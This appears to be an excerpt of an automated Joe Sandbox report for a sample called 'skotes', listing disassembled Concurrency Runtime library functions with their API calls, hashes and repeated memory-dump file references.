Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 29e15206e84638c15b6fbfd1a07d672c8f67803adfaddd5a377e6ab82dca7f87
Instruction ID: 075b484237f69e1a9a1776ac3bee92fd52b05e6c5f92dec77b06ee78730fc392
Opcode Fuzzy Hash: 29e15206e84638c15b6fbfd1a07d672c8f67803adfaddd5a377e6ab82dca7f87
Instruction Fuzzy Hash: 72B16CB0A00615EFDB28CF68D995B7AB7B4FF45310F54816DE905AB242D738BD81CBA0

Function 007C1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 007C2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 007C2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 007C1614

Part of subcall function 007C2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 007C2E39
Part of subcall function 007C2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 007C2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 007C1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 007C17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 007C17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 007C17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 007C180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 007C181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 007C1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 007C183B

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 3dd90e98faee7dfe1ac87b9b29815cf78b84d7a90fc8728f905d4cd1c96457c1
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 19816871E00625AFCB18CFA8C584A6DB7F1FF49304B5582ADE445AB702DB34AD52CB84

Function 007CEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007CEC81

Part of subcall function 007C8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 007C8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007CECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 007CECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 007CED0C

Part of subcall function 007CE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 007CE7D7
Part of subcall function 007CE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 007CE86F
Part of subcall function 007CE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007CE879
Part of subcall function 007CE7AF: Concurrency::location::_Assign.LIBCMT ref: 007CE8AD
Part of subcall function 007CE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007CE8B5

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 26ea6cdb6e135d6b2bf00adb35cd6d211932ec815ccb89f198ef48954ef70708
Instruction ID: db0e7fe128f0fa2923ebe505dc52a075c42e17eb643931ab7ecddc22c3f9d2d3
Opcode Fuzzy Hash: 26ea6cdb6e135d6b2bf00adb35cd6d211932ec815ccb89f198ef48954ef70708
Instruction Fuzzy Hash: F7517E31A00205DBDF24DF50C899FADB775AF44310F1980ADE9066B396CB79AE06CBA1

Function 007BCB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 007BCBAA

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 805ec8c11c3179dfc52165d4cabf1ee2b90951a6c262d09b4510e588211315a3
Instruction ID: 1853db4f12340c36eafc869667634c9d27785c681cde5612984f81c99d80f49e
Opcode Fuzzy Hash: 805ec8c11c3179dfc52165d4cabf1ee2b90951a6c262d09b4510e588211315a3
Instruction Fuzzy Hash: F1B09232A1383047CA922B14BC086AE7714AA81A2130A8156E841A72348A191E828FE8

Function 007BDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
